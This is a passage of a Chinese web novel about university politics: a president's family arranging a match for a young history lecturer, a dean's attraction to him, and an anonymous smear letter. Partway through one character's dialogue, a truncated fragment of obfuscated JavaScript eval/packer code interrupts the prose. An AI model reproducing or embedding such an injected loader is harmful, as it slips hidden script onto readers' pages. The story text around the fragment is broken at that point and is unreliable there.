刚一掩上房门,万素琴有些迫不及待地说道:“我看这小伙子行。不仅球打得好,而且遇事非常冷静。今天连秦冰纶都在场上喊打喊杀的,这个小顾却不停地劝阻两边的人。” 这个答案让吴若甫感到满意。经过一年多的“考察,吴若甫决定加快“选婿”的进程,连比带划,又给老伴面授了一番机宜。 余丹凤很快就接到了校长夫人的指令。这正给了整天无事可做的余丹凤打发日子的机会。 周五下午,下课铃声响过。顾明远正拿起水杯大口大口地往冒烟的嗓子里倾倒。 一个人影悄然从门口走了进来。顾明远认出来人是人事处副处级调研员余丹凤。 余丹凤一头花白头发蓬松散乱,腰身如满弓般隆起,走起路来宛如一只缓缓旋转的陀螺。 顾明远对余丹凤既谈不上喜欢也谈不上讨厌。毕竟在人事处“下派锻炼”期间,余丹凤给过不少关照,顾明远主动走下台阶迎了上去。 余丹凤故意板着脸,眼皮上翻,语气尖锐地说:“小顾,离开人事处都半年了,只怕你已经忘记大姐咯。” 顾明远刚说了句“哪敢”,余丹凤又不依不饶地说道:“不是我说你。有些方面你是得向肖志阳学习,到现在他还会隔三差五到人事处来走动,有时还不空着手的。” 余丹凤自封的“大姐”在顾明远听起来有些尴尬。他实在不明白,楚江大学那些比自己年长的女人,为何总喜欢以“大姐”自居?让顾明远反感的是,眼前的这个“大姐”偏偏还拿出肖志阳警示自己。 顾明远将原本浮在脸上的笑意撤掉,语气也变得淡然了些:“余处长是来检查工作的吗?” “哎呀,小顾这么说好像不欢迎我似的。我可不是教务处长,哪敢检查你们老师的工作呀,我是来找你有别的事情。”说罢,余丹凤故作神秘地问道:“听说小顾还是单身吧?” 顾明远愣在原地,一时不知如何回答是好。 余丹凤嘴角勾起一抹狡黠的笑,直言不讳地道:“小顾啊,你可瞒不过我,你们年轻人的那点事儿,谁跟谁是一对儿,谁又还单着,我可是门儿清。” 顾明远觉得余丹凤有些无礼,忍不住带着讽刺的语气反问:“人事处还要负责我们年轻人的个人问题吗?” “哎,别这么说。我们人事处可没这份闲心。”说完,余丹凤半掩上教室的门,抓住顾明远的手问道:“小顾,要不要大姐给你牵线呀?” 顾明远被余丹凤这突如其来的热情弄得有些手足无措,心里犯起了嘀咕。他委实不愿与这个女人纠缠下去,急中生智,随口编了个“已有对象”的托词,便如逃难般匆匆离开了教室。 余丹凤错愕片刻,旋即回过神来,对着顾明远的背影轻轻耸肩,嘴角勾起一抹冷笑:“和尚跑了,庙还在呢。咱们走着瞧。” 顾明远的虚假回应让一向傲娇的吴雅娟有些沉不住气。这天下班后,她在历史学院侧门的银杏道上拦住了顾明远。“校长千金”的自信加上久居闺房的单纯,吴雅娟有些冒失而又直接地问了一句:“你真的有女朋友了?” 吴雅娟那咄咄逼人的眼神与语气让 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这让顾明远立刻紧张起来。心中更加盼望“民国女学生”能够天女下凡般出现在自己的面前成为自己嘴里的“对象”。看见窗外的云朵被晚霞染成了金色的画面,银杏道上一对对学生情侣嬉戏打闹,欢声笑语交织成浪漫的曲调。顾明远忍不住心里默默地叹息:你究竟藏在哪片云彩后面呢?这些天,明知大海捞针的顾明远又开始利用闲暇骑着自行车去附近的高校闲逛,期冀着《天仙配》般的奇迹能够在自己身上发生。 在万素琴的催促下,余丹凤加大了对顾明远的攻势。她知道顾明远最近一直在有意躲避自己,便拿着历史学院的课表经常去教学大楼门口堵他。魔高一尺道高一丈。几次下来,余丹凤都扑了空。后来,余丹凤终于发现,顾明远要么有意调整了教室,要么是提前两分钟下课后从后面的侧门溜走。 余丹凤又好气又好笑:就他的这点小把戏怎么能难住军人家属的自己呢。这天,她事先隐伏在教学大楼侧门外的凤尾竹旁,顾明远刚一蹑手蹑脚走出侧门,就被余丹凤逮了个正着。 余丹凤肥厚的双颊因愤怒而有些涨红,腮上的横肉像发酵的面团一样颤动:“小顾,你这些天是有意在躲我的吧?” 自己的心思被人家看穿,顾明远只得撑着笑脸赔起了小心。 余丹凤“哼”了一声:“你就不想知道,大姐为你牵线搭桥的是哪位吗?”说完,又重重地“哼”了一声:“只怕说出这个女孩的名字,你会要喜得合不拢嘴。” 顾明远心里冷笑了一声:就吴雅洁那水桶腰的身材和男孩子似的性格,我还会合不拢嘴? 看见饵料并没有打动顾明远,余丹凤心里有些失望,想起吴若甫对人事处“要善于对知识分子做耐心细致的思想工作”的教导,余丹凤决定移花接木用在顾明远的身上。她刻意调低了些声调:“大姐也是为了你好。这样哈,我给你一个月的时间,到时候拿不出女友,那就必须听大姐我的安排。” 顾明远第一次听说如此强买强卖做媒的奇特做法。毕竟余丹凤也是好心,纵然心里反感,总也不能当面打脸。 最近一段时间,钟德君注意到了一个奇怪的现象:平时一下班就窝在宿舍里看书写作的顾明远,现在很难在晚上十点前见到人影。面对追问,顾明远总是以“图书馆”来搪塞。直到有一天,陪着吴雅娟姐妹看完电影回来的钟德君在校门口看见飞奔而回的顾明远,便迎头截住了他:“哈哈。我说呢,这些天早出晚归的,你小子开始约会了吧?” 在得到钟德君保密的承诺后,顾明远挤牙膏式地透露了些“民国女学生”的信息。 钟德君异常兴奋,拍着顾明远的肩膀赞道:“老顾,真没看出来啊!原本以为你这个学历史的是个学究脑袋,没想到你还偷偷玩起了浪漫呢。” 望着钟德君那张兴奋得有些扭曲的脸,顾明远立刻后悔起来。 王菡从老公马骉那里得知顾明远又开始漫无目标四处寻找“民国女学生”的消息,心中不禁增添了几分忧虑,让马骉将顾明远请来家中,名义上帮他改善伙食,实际上是劝他悬崖勒马。 “明远,凭女性的直觉,我觉得你找到那个女孩的机会非常渺茫。既然你们余处长这么热心,你不如实际一点给她个人情嘛。人家是处长,眼光总不会太差吧?” 马骉向来是夫唱妇随,一口地道的东北话帮起腔来:“我家菡子说得对啊。老顾,你可别搁这儿犟得跟头驴似的,一条道儿走到黑啊!这世上道儿多了去了,你非得可劲儿往那什么影儿都摸不着的‘民国女学生’那里蹽(跑)啥?现在有人给你指了明道儿,咋的?你非得撞南墙撞得头破血流才消停啊?” 王菡第一次听见老公用土的掉渣的东北话如此气宇轩昂、逻辑严谨地劝解别人,忍不住猛拍了一把马骉的肩膀:“哟呵,我们家的骉子这次说得还蛮是那回事的咧!” 受了老婆表扬的马骉黝黑的脸膛肉眼可见地涨红起来,用力拽了一把顾明远:“老顾,你就听我们家菡子的呗。说不定这次是塞翁失马焉知非福呢。” 王菡夸张地捅了一把马骉的胳肢窝:“骉子,这个词拽得漂亮。”说罢,亲自剥了一根香蕉塞进马骉的嘴里。 看着这夫妻二人一唱一和地劝着自己顺带秀着甜蜜时,顾明远的心思不免有些动摇起来,答应回去后认真考虑考虑。 也许,是到了放下执念迎接明天新鲜太阳的时候了。 12. 情海翻波 如果说余丹凤的追逼明枪易躲,那么顶头上司秦冰纶的觊觎则有些暗箭难防。 这些年来,秦冰纶几乎一直霸居楚江大学男人“话题榜”榜首,自然也是女人眼中可能引发危机的“女一号妖精”。 这并非秦冰纶的过错。在楚江大学的地界上,她确实算得上女中凤凰式的人物。形象与气质俱佳、能力与地位均强。新雪莹润的鹅蛋脸上镶嵌着一双杏眼,既含春水之柔,又藏星子之灿。美丽妩媚的外表下天生大气干练的领导气质,让她年纪轻轻就在楚江大学的“政坛”上脱颖而出,仅用了三年半的时间,就完成了从“教研室主任”到“副院长”再到“主持工作副院长”的“三级跳”,这在楚江大学干部晋升史上是极为罕见的。 上帝有时是公平的。为你开了一扇门后就会关上一扇窗,即便强大如阿喀琉斯者不也是有痛点和短板么?表面上看,秦冰纶美貌与事业双赢,但一个巨大的软肋却无时不在消磨、摧残着她——那便是出国不归的丈夫劳力。几乎每次提拔时,都会有人以此说事。不过身后一直有副校长周濂的力挺,最后都能逢凶化吉、转危为安。真正折磨秦冰纶的是,自己正处在盛世花颜和欲望强烈的黄金期,却只能寂寞地在空房中饱受煎熬。每次在外面享受完繁华回到空荡荡的家中,窗外的月光冷冷地泼进来,秦冰纶的指尖总会无意识地摩挲着丈夫空放了七年的枕头。床头柜上照片里的男人笑容依旧灿烂,可越洋电话却越来越少如图稀薄的空气。浴室的镜子临走时写下的“等我回来”的便利贴上的字迹早已模糊不清……很长一段时间,秦冰纶害怕回家过夜,有时深夜醒来,她会蜷缩在大床的左侧,右侧空出的位置像一道永远无法愈合的伤口。 秦冰纶自是不甘心。然后,锦绣的仕途象是一把双刃剑悬在头上让她不敢轻举妄动。因为已经被作为后备干部重点培养,这让她只能夹住尾巴以防被人抓住把柄毁了前程。仕途上不断攀升的渴望让她每在心思蠢蠢欲动时及时自我敲响警钟。许多年来,面对校内、校外的众多垂涎欲滴的目光,秦冰纶总体上都能头脑清醒、手法纯熟予以规避。 非不想也,实未动心。秦冰纶宛如草原上聪明的猎手,隐匿于草丛之中,以无尽的耐心静待那位既能确保安全、又能满足灵肉相融的爱侣现身。 如今,猎物出现了。主角自然是顾明远,如果要有备胎的话,那可以选上林书锦。在秦冰纶看来,顾明远个性鲜明,如能驯服更显手段;林书锦过于温顺,博弈之趣明显不足。 其实,在秦冰纶看来,顾明远也算不上完美的选择。除了玉树临风的身材外,他的长相并不出挑的男生,然而,他的身上却散发着一种独有的气质:干净中带些书卷、斯文里夹些痞气。最为关键的是,顾明远和那位遥不可及的丈夫实在是形神兼似啊!他微蹙眉头沉思时的神态,低头浅笑时眼尾漾起的细纹,甚至说话时的肢体语言……。所有这些,都像一把精准的钥匙轻易撬开她紧锁的记忆闸门。多少个深夜,她独自面对空旷的卧室,脑海中劳力和顾明远的影子交替出现,那种令她心悸的熟悉感,仿佛是她寂寞世界里突然具象化的海市蜃楼。只要有顾明远参加的会议,秦冰纶总会用眼角的余光不停甚至贪婪地捕捉着他每一个无意识的动作,在脑海中细细描摹、重叠并积压的渴念。她想占有的,与其说是□□,不如说是幻觉。 内心躁动的秦冰纶深知,以自己目前的地位和可见的前途,自然不能公然地、毫无顾忌地开门见山直奔主题。隐忍与压抑,成了她不得不披上的外衣。然而,随着沈菊英无意中透露余丹凤正在为顾明远牵线搭桥的消息,秦冰纶的隐忍和压抑有些不堪承受。她觉得自己不能再这样被动地等待下去了。 这天,顾明远刚从图书馆借书回来,身后飘来几缕混合着茉莉和麝香的香水味——这是全院教职工都熟悉的秦冰纶的独特香气。 回头一看,来者正是秦冰纶。她将平日里惯穿的职业装换成了更显绰约的便装:一件紧身墨绿色羊绒衫,颀长的脖颈围着一条橘黄色真丝围巾,简约而不失格调,流露出一种既丰腴又淡然的韵味。 顾明远注意到秦冰纶那双会说话的杏眼正默默注视着自己,心中不禁有些紧张,说话便没有了平日里的利索:“秦院长……您是来找我的吗?” “怎么?我就不能找你吗?”这样的反问让顾明远感到有些尴尬。他不愿在院长面前显得胆怯,于是红着脸尝试着回答:“当然不是。秦院长能亲自到教研室看望我们,这对我们是莫大的鼓励。” 秦冰纶故意用玩笑的口吻说道:“现在教研室只有你一个人,你应该去掉''们''字才对。别''我们''、''我们''的了,听起来就显得生疏了。” 她柔和而略带磁性的女中音让顾明远感觉仿佛一阵轻风拂过自己的面颊。他不敢多想,试探性地说了句“秦院长有什么吩咐”,然后模仿其他同事的样子,翻开桌上的笔记本,装作要记录的样子。 “你学得挺快的嘛。行啦,这些虚头巴脑的东西,还是少沾染些的好。”秦冰纶此刻全然不似一位威加全院的领导,更像是一位可以倾心交谈的异性芳邻。 只要心中的紧张和戒备感卸掉,顾明远的口才优势便会显露无疑。在手势的配合下,“12345”将自己最近正在探索的教学改革及核心期刊上发表论文的“业绩”全都显摆了出来。 秦冰纶今天并不打算倾听顾明远滔滔不绝的自我“标榜”,她前来的唯一目的,就是想让顾明远周末陪同自己去苏州参加一个不咸不淡的学术会议。 这是顾明远求之不得的事情。这样的活动既能拓展学术视野,又能结交学问朋友,还能一睹苏州园林的芳姿,实在是一举多得之事。 秦冰纶的唇角噙着一抹若有似无的笑,指尖在桌面上似有若无地敲了两下,低声说道:“希望这次出差能带来惊喜哦。” 顾明远知道钟德君经常陪着梅大镛、孟超出差,在为领导搞好服务方面积攒了不少经验,便虚着心向他求教。 钟德君兴奋地猛拍了一下大腿:“老顾你艳福不浅啊,和秦冰纶这样的大美女一起出差,这是多少男人的梦想啊。”钟德君一如既往地口无遮拦。 顾明远正色道:“你能不能正经点?你不能以自己的流氓之心度别人的君子之腹。我这是出差。你有没有正经招数?没有就给我闭嘴。” 钟德君表情上老实了些,但言语间依然本性难移,先是虚着说了一通察言观色、端茶递水、请吃陪游之类的套话,然后认真地看中顾明远:“你们这次几个人?” 这个问题一下子问住了顾明远。他确实不知道这次还有哪些同事一起陪同秦冰纶出行。但是,从钟德君的暧昧目光中,顾明远看出了不怀好意,赶紧临时编了个瞎话:“好像有四个吧。” 钟德君叹了口气像是自言自语地说道:“可惜啊。” 钟德君的询问到时给顾明远提了个醒。趁着院办公室秘书黄阿娇过来找他要身份证订飞机票的机会,他装作漫不经心地问道:“还有几天呢,这次去的人多吗?” 黄阿娇脱口而出:“就你和秦院长呀。” 顾明远暗自吃惊,心里的惶恐立刻像洪水般四散漫溢开来。虽然还不至于“伴君如伴虎”,但是第一次单独陪同女院长出差,如果哪个环节出了差错,那就不好收场了。知道钟德君的嘴碎,顾明远不敢也不愿再就此事向他求助,但一时间又找不到更合适的人去讨教了。正在焦急间,二姐从老家打来电话,说是父亲沈有余住院了。 作为儿子,探望住院的父亲是天经地义的事情。当顾明远如实向秦冰纶坦陈事实后,秦冰纶正在把玩机票的手瞬间停止了动作。她缓缓抬起头,嘴角还维持着优雅的笑,眼里的光彩倏地暗了下去:“这样啊……。”她的声音轻得像是自言自语,兀自盯着手中的机票出神。过了片刻,秦冰纶重新扬起头来,语调轻快地开起了玩笑:“你这次欠的我可要记账哦。佳肴不怕迟,我等你便是。”但那笑容里,分明藏着一丝难以察觉的失望和落寞。 余丹凤的记忆力确实精准得如图瑞士的钟表。在约定的“一个月”期限的最后一天,她不顾对军人出身的沈菊英的忌惮,勇敢地走进了历史学院的大门。 顾明远今天值班。未等他反应过来,余丹凤便一屁股坐在藤椅上,顾明远的心随即像不堪重负的藤椅一样,被一阵阵痛苦的呻吟所困扰。 余丹凤单刀直入:“小顾,想好了?” 顾明远目光有些回避。余丹凤面露不悦:“你真是不识好人心,你知道大姐给你介绍的是谁吗?”不等回应,余丹凤激动地站起身,用手掌半掩着嘴,凑近顾明远:“这要是放在古代,你这可是驸马爷的命啊。” 顾明远一时没反应过来:“驸马爷?什么意思?” 余丹凤得意地吐出了“吴雅娟”三个字。 顾明远惊得手中的笔掉落到了桌面上:原本一直以为是吴雅洁,怎么突然变成了吴雅娟呢。顾明远的心中波涛汹涌。紧张、失落与担忧如潮水般交织,猛烈地撞击着他的心房。紧张的是吴雅娟毕竟是校长女儿,失落是吴雅娟从未在自己心中有过一席之地,担忧的是自己如何面对一直非吴不娶的好哥们钟德君……。 看见顾明远一副无动于衷的样子,余丹凤心中暗讽:摆什么架子呀。你一个乡下来的,能被校长家相中,是几辈子修来的福分呢。 想归想,考虑到这个“泥腿子”出身的年轻人极可能成为吴家的乘龙快婿,余丹凤言语间也不敢怠慢。她放下副处级和大姐的架子,带着几分讨好又有些责怪的语气说道:“小顾你真是的,知道为了你的事大姐费了几多工夫吧?” 顾明远依然处在惶恐、焦虑之中,但又不能生硬回绝余丹凤的好意,便以一句“让我再考虑考虑好吧”搪塞了余丹凤。所谓考虑考虑,顾明远其实是想做两件事情:一是如何和钟德君解释;二是要不要听听父亲顾有余的意见。 向钟德君开口确实是一件难以启齿的事情。虽然还不至于“朋友妻不可欺”,但钟德君这两年来在吴雅娟身上“有心栽花”所费的心血那是有目共睹的,现在竟然让“无心插柳”的自己拔了头筹,这实在是情何以堪啊! 这一天,“筒子楼”里空无一人。最近几次在吴雅娟那里碰了壁的钟德君无处可去,一个人闷在宿舍里生气。 顾明远觉得这是一个机会。他主动搬了两把椅子放在露天阳台的雨棚下。棚外细雨绵绵,密实如丝,楼下那片樟树林中一只杜鹃鸟的叫声如同婴儿啼哭般的哀伤。 钟德君仰面瘫坐在那张破旧的藤椅上,目光散漫,深深地叹了口气。顾明远昨天特意从冯伟那里顺了一包“游泳”牌香烟,这下算是派上了用场。 钟德君狐疑地看了顾明远一眼:“你今天怎么了?这么殷勤?” 顾明远假装轻描淡写:“你今天难得不出门,看你这几天闷闷不乐的,陪你聊聊天呗。” 这话刺中了钟德君的痛处。他吐出一溜烟圈后开始抱怨起来:“都是她妈的吴雅娟害的。你说她到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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钟德君“嘻嘻”笑了起来:“我可是第一次对人说,你得替我保密哦。”得到点头后,钟德君说道:“最近几次,吴雅娟有意将她妹吴雅洁往我身边推。从吴雅洁的眼神来看,我觉得她好像有点那个意思。” 顾明远心中有些佩服起钟德君来:这小子真是个没心没肺的情种啊。不过这样也好,一旦他知道真相后,也许不至于会撕心裂肺的。 钟德君手抚着下巴,目光落在防护栏上抖动着水珠的黑鸟喃喃自语道:“依咱农村的眼光,吴雅洁也许更适合传宗接代,你瞧她那圆润的脸庞和肥大的臀部,一看就是个旺夫的料。” 顾明远忍不住骂道:“你小子真是妈的实用主义者啊。” 钟德君满脸的不屑:“你懂个屁呀。只有你这样的书呆子才相信爱情。老顾,告诉你吧,爱情这东西说到底,不过是本账。” “什么意思?” 钟德君狠狠吸了一口“游泳”,眯着眼说道:“娶领导的闺女,好比买田置地。你瞧那佃户,春种秋收,难道是因为爱那片土?不过是图个收成。我待她温柔如水,她予我青云直上,两下便宜,岂不比你们穷书生酸溜溜的情诗划算?” 钟德君的这番奇谈怪论让顾明远一时竟找不出反驳的话来。不过心中的石头总算终于落地:以这家伙的爱情观,肯定不会为了吴雅娟死心塌地、寻死觅活的了。 剩下的就是征求父亲顾有余的意见了。趁着院办公室无人的时候,顾明远给父亲隔壁的毛旺婶家打去了电话。她家有一部全村唯一的座机电话。 正巧刚刚出院的顾有余正在毛旺家打麻将。儿子话还没说完,顾有余兴奋得将手中的一张“五条”甩得老远,故意抬高声音嚷道:“这还考虑什么呀。校长女儿主动找上你,那你将来在楚江大学不是要平步青云了嘛。” 顾明远听见电话里传来七嘴八舌的叫好声,好像小时候裤子被人扒掉,脸上顿时变得通红,连忙在电话里央求父亲不要声张。 顾有余想法只好相反,声音显得更加亢奋:“这有什么不好意思的?就是人家校长主动相中你的嘛。同意,我一百个同意。你小子总算干了一件像样的事情。” 电话那头传来“顾老抠你到底来不来?不来就换人了哈”。 挂断电话后,顾明远有些后悔征求父亲的意见,担心事情八字没有一撇,就被父亲的“传声筒”在湾子里闹得“水响”。想到这里,赶紧给村妇女主任的二姐打去电话让她赶紧回一趟家封住父亲的嘴。 顾小满似乎有另外的考虑。在电话里突然冒出一句“你对那个小吴有感觉吗”的话来。 顾明远没料到二姐会问出这样“高端”的话来。看见弟弟犹豫着没有作答,顾小满轻轻叹了口气说道:“明儿,按说姐应该替你高兴才对。毕竟人家是校长家的姑娘,这对你以后的发展肯定是有好处的。” 顾明远一下子起了急:“二姐你怎么也这么俗气呀。” “你听姐把话说完。我要说的是,感情这东西说到底还是两人之间的事情。我们不要因为人家的家境,关键还是人家多我们家明儿是不是真用心。明白不?” 二姐的话说到了顾明远的心坎上。他忍不住嘀咕道:“我几乎和她没什么来往,从哪里能够看出她的内心呢。” 沈小满听罢笑了起来:“你硬是糊涂了吧?你一个大男将,接触接触怕啥?” 世上没有不透风的墙。当吴雅洁有意无意向钟德君吐露了顾、吴二人之间的秘密。钟德君胸中的怒气几乎要冲破胸膛。如果是别人还算罢了,关键是是自己一直视为好朋友好兄弟的顾明远啊。联想到前几天他还假惺惺地给自己出谋划策,钟德君此刻的心情正可以用“恨从心中起恶向胆边生”来形容。 当天晚上,钟德君愤然搬离了和顾明远合住的宿舍,暂时寄居在孟超为他安排的院图书室里。 13. 情陷棋局 钟德君的搬离,像一阵猝不及防的冷风,终于吹破了那层糊了太久的纸墙。 顾明远站在空了一半的宿舍里,第一次清楚地意识到,有些事情发生确实是不以人的意志为转移的。他实在不愿意因为吴雅娟而彻底毁了与钟德君之间的兄弟情谊,心底不免泛起一丝苦涩。 第二天下班后,他特意来到财经学院图书室。钟德君正躺在沙发床上想心思,抬头见是顾明远,脸色瞬间铁青,猛地站起身,一把推开顾明远,牙齿咬得咯咯响,愤愤骂道:“老子真是瞎了眼,居然把你这张伪善的脸当成兄弟情深。滚,越远越好,看见你我就一肚子火!” 钟德君的骂声又狠又急,像刀子一样戳进顾明远心里,溅起的不只是委屈,还有压抑不住的火星。他冷冷地回了一句“时间会证明一切”,便不再多言,转身甩开步子,“噔噔噔”地下了楼。 回到教研室,顾明远意气难平,胸中堵着一口闷气,觉得不吐不快。他抓起纸笔,唰唰写下了两行字:首先,你无权侮辱我的人格;其次,我从未挖过别人墙角。趁着未消的意气,重新折返财经学院图书室,拍了拍门,无人应答,便将纸条从门缝底下塞了进去。 钟德君其实就在屋里。他捡起纸条扫了一眼,对着门口“呸”了一声:“又当婊子又立牌坊,鬼才信你!” 他越想越气,捏着那张纸条,像是捏着一只臭虫,转身就来到副院长孟超的办公室。 孟超展开纸条,嘴角勾起一抹不易察觉的冷笑,他抬眼看了看钟德君,语气悠长地说道:“如何?我早提醒过你,顾明远这个人,心机深、谋略远,不得不防。现在好了,直接把你给套路了嘛。” 说到这里,他话锋轻巧一转,眼神里飘着几分莫测高深:“不过也难怪,历史学院那帮人,搞历史的嘛,哪个不深谙权谋之道?依我看,这出戏背后,说不定还有秦冰纶甚至周濂的算计。德君,这早就不是你跟顾明远个人之间的胜负喽。” 孟超这番“想象力丰富”的说辞,听得钟德君瞠目结舌。他小心翼翼地试探:“不会吧?您之前不是说……秦冰纶对顾明远有点意思?” “你懂什么?这叫此一时彼一时。”孟超嗤笑一声:“德君啊,你也太天真了。在这象牙塔里,不学点斗争哲学,将来是要吃大亏的!这十几年来,咱们财经学院跟历史学院在招生、专业设置、课题申报甚至人际往来上,斗争从来就没有停止过的。” 钟德君的视野远没达到孟超的高度,不解地问道:“可这……跟顾明远有什么关系?” “你怎么还不明白?”孟超压低了声音,语气更加意味深长:“你想想,要是顾明远真娶了吴雅娟,吴若甫校长今后是不是会更加支持历史学院?秦冰纶和周濂他们能不懂这个道理?” 钟德君觉得孟院长这理由有点牵强。他现在没心思想这些宏大的“斗争”,只关心自己的困局:“孟院,那您说我这事该怎么办?” 孟超递给他一支烟,点上后慢悠悠吸了一口后说道:“依我看呀。强扭的瓜不甜。竟然事已至此,你也不必羡慕吴雅娟选了顾明远。就吴雅娟那天不怕地不怕的大小姐脾气,顾明远将来说不定有的罪受。男人嘛,眼光放长远些,世界上好女人多的是。”说罢,眼神若有似无地瞟向隔壁的院办公室,脸上浮起一层诡异的笑容:“你觉得……胡莎莎怎么样?” 钟德君脸上刚浮现的一丝欣慰瞬间如冰雪消融。他可是无数次在酒局上亲眼见过孟超和胡莎莎借着酒意眉来眼去、打情骂俏的香艳场面。他心里“咯噔”一下,担心孟超是在故意试探自己,连忙摆手,急赤白脸地辩白:“孟院您别开玩笑,我哪有那种想法……。” 孟超对钟德君的“不开窍”显得有些失望。自从老婆韩梅风闻了他和胡莎莎的暧昧闹过一场后,胡莎莎在他眼里早已成了一块“烫手的山芋”。若不及时处理,过不了老婆那关还是其次,万一影响了接班梅大镛,那才是真的因小失大。 为了让钟德君领会自己的“真实意图”,孟超不厌其烦地讲起胡莎莎的种种“好处”来。几个回合下来,钟德君终于意识到,孟院长这不是试探,竟是真心实意地想把这“好事”推给自己。钟德君可不傻:领导的女人,就像办公室里的高压线——看着不显眼,碰一下可能就要命。更何况,胡莎莎无论从哪方面看,都从未入过他的眼。他脑筋飞快一转,眼睛滴溜了一圈,随即意味深长地说道:“孟院,‘小便’不是天天猴急着找女朋友吗?您看……。” “小便”是钟德君私下给卞同峰起的外号。 孟超听罢,低头思忖了片刻,脸上由阴转晴,提出要出去喝上两杯。钟德君赶紧给老乡开的“阿芳酒家”打电话订座。 自以为已经搞定顾明远的余丹凤这些天往吴家跑得格外勤快。这天刚一进门,发现万素琴脸色铁青地坐在沙发上没有像平常人情起身招呼,心里顿时“咯噔”一下,赶紧不安地用眼神询问一旁默默擦桌子的方姨。 方姨不敢吱声,只用嘴角指了指万素琴面前茶几上的一封开拆了的信。万素琴气呼呼地说道:“你自己看看。这叫什么事呀!” 余丹凤匆忙扫了一眼,上面竟然歪歪扭扭写的是“顾明远与秦冰纶有一腿”之类不堪的话。 余丹凤大惊失色。万素琴见气不打一处来,瞪了她一眼怒道:“你看看你找的,这是什么眼神呀!” 书房里的吴若甫听见客厅的动静,赶忙走了出来。热情地招过招呼后,瞪了老伴一眼:“你这人,怎么说风就是雨?再说这事跟余处长有什么关系?不是早跟你说了,都是些捕风捉影的闲话,不要听信嘛。” 万素琴声音拔高了几分:“捕风捉影?那个石凤芝也是这么说的!难道大家都约好了冤枉他不成?” 万素琴这话反而让余丹凤来了精神,急忙说道:“哎呀我的万老师呦。您怎么信这个石疯子的呀话?她是学校出了名的搅屎棍,嘴里哪有半句实话?她的话您也信呐?” 吴若甫沉着地说句“庸人自扰嘛”,转而温言安慰起余丹凤:“小余啊,不用紧张。这事和你没关系。恶意中伤罢了,没人信这些无稽之谈的。”话说得平稳,但目光深处却掠过一丝不易察觉的担心。 离开吴家后,深感责任重大的余丹凤,马不停蹄地直接赶到了“筒子楼”顾明远的宿舍。她必须亲自找顾明远问个究竟,这事可是关乎自己这个“媒人”的颜面。 本来心里还在为钟德君误解憋闷,被余丹凤一通莫名其妙兴师问罪的顾明远气得一脚踹倒了身旁的椅子,面红耳赤地大声嚷道:“我既然这么不堪,你正好可以不搭这个桥了嘛。” 余丹凤走后,顾明远气得直挺挺倒在床上,像一截被雷劈断的木头一动不动。天花板上裂着的两道细纹和那只被他刚才踹倒的椅子,仿佛都在无声地嘲笑着他,戳着他的脊梁骨。自知清白的他百思不得其解:谁会做出如此下作的勾当?越想越乱,越想越气,最后昏昏沉沉地坠入了梦中:梦中,火车站的铁轨在冷白的月光下泛着青灰色的幽光,那个萦绕心头的“民国女学生”,穿着一件乳白色的绉纱连衣裙,发梢上别着一朵洁白的栀子花,正从铁轨的远方飘飘而来,身影模糊而遥远……。 吴雅娟对匿名信的态度可没有父亲那么淡定。敏感和嫉妒似乎让她更愿意采信信中那些恶意的揣测。毕竟,秦冰纶在所有楚江大学女人的心目中都是“祸水”一般的存在。渴望知道真相却又无从得知,这种状态让吴雅娟陷入了无穷的苦恼之中。她在学校几乎没有深交的朋友,只好拉上堂妹吴雅洁去东湖落雁岛散心。 姐妹二人晃晃悠悠地走过摇摇晃晃的吊桥,来到一片金黄针叶的水上杉树林。找了一处安静的石凳坐下,吴雅娟便迫不及待地向堂妹倾吐了自己的郁闷和猜疑。 吴雅洁性格比吴雅娟开朗外向得多,这些年跟着被称为“官溜子”的处长朱政华耳濡目染,对学校的人情掌故了解得多。沉思片刻,摇摇头说道:“我不太相信这些鬼话。秦冰纶这个人,风骚媚人是不假,但像她这种学校重点培养的人,应该不会冒这样的风险?即使她真有那个贼心,我看也未必有那个贼胆。除非她不想要仕途了。” 吴雅娟目光幽幽地盯着不远处芦苇杆上停着的一只蜻蜓,语气酸涩地说道:“哼,有的人天生就是狐狸精的命,不勾引男人恐怕活不下去。”说罢,她用力折断一根芦苇,狠狠地说道:“要是真被我查出她勾引顾明远,哼!想顺利转正?做梦去吧!” 吴雅洁知道自家堂姐容易冲动,急忙安慰道:“你也别急,现在真相还没大白呢。说实话,我看顾明远那人,不像是那种拈花惹草的人。这一点他可比钟某人老实多了。” 吴雅娟自然知道吴雅洁暗指的是钟德君。委实对他没什么好印象,便“啐”了一口说道:“知道他那样,你还和他来往?” 吴雅洁语气有些复杂:“是他一直对我有意思好吧?不过说真的,别看他貌不惊人,但确实挺会哄女孩子开心的,嘴甜,也舍得花钱。” “也就是你好哄,几块巧克力和蛋糕就能让你五迷三道的。”吴雅娟不屑地说。 “得了吧你,”吴雅洁言语里多少带上了点醋意,“这两年你不也收了他不少礼物吗?那条丝巾可不便宜。” “主动送上门的,不要白不要。可我从来没正眼瞧过他。”吴雅娟撇撇嘴。 她这话反倒让吴雅洁心里稍微舒服了点,竟替钟德君抱了句不平:“那你也有点太不像话了,好歹人家是真出了血的。” 吴雅娟忽然停下脚步,若有所思地说道:“你说……这匿名信,会不会就是钟德君在背后搞的鬼?” “怎么会呢?”吴雅洁吃了一惊,“钟德君和顾明远关系一向不错啊,他怎么会干出这种缺德事?” “你懂个鬼!”吴雅娟白了她一眼:“因嫉生恨的事情好少哇。更何况他有孟超这样的‘主子’。太有可能了!” 经过吴雅娟这么一分析,吴雅洁心里也开始狐疑起来,脱口问道:“那……要不要我找个机会,去探探钟德君的口风?” “要不怎么说你有时候糊得淌汤(糊涂透顶)呢!”吴雅娟没好气地抢白道:“这种事,他能承认吗?打草惊蛇!”此时,吴雅娟心里已经有了主意:借校长父亲来敲打敲打秦冰纶这个“妖精”。 秦冰纶刚从苏州出差回来,副校长周濂就找上了门。东拉西扯了半天苏州之行的收获后,周濂将视线移向窗外,嘴角扯出一丝意味深长的笑意:“其实也没什么事。你这牵头快两年了吧?最近呢,我一直在和书记校长商量尽快给你转正的事情。”顿了顿,不等秦冰纶杏眼中的星光散去,周濂脸色沉了沉:“冰纶,你知道学校一直不太平静呢。现在是关键时期,你得多留个心眼,凡事都得谨慎处理才好。” 不等秦冰纶说话,周濂就急着离去,走到门口又回头意味深长地补了一句:“对了,吴校长……可是很关心你转正的事情的。你多给他汇报汇报嘛。” 听话听音,锣鼓听声。联想到沈菊英昨天提醒最近有人在拿她和顾明远说事的消息,秦冰纶心里打了个激灵,一股寒意从心底升起。 